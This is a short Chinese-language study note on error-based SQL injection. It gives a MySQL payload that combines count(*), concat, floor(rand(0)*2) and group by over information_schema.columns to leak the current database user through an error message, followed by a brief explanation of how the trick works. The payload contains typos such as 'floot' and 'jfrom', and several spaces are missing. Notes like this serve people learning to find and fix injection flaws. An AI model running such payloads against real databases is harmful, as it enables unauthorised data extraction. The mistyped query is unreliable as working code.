基于报错的sql盲注---构造payload 让信息通过错误提示回显出来 select1,count(*),concat(0x3a,0x3a,(selectuser()),0x3a,0x3a,floot(rand(0)*2))a jfrom information_schema.columnsgroupby a; //explain:此处有三个点 ,一是需要 concat 计数 ,二是 floor,取得 0 or 1,进行数据的重复 ,三是 group by...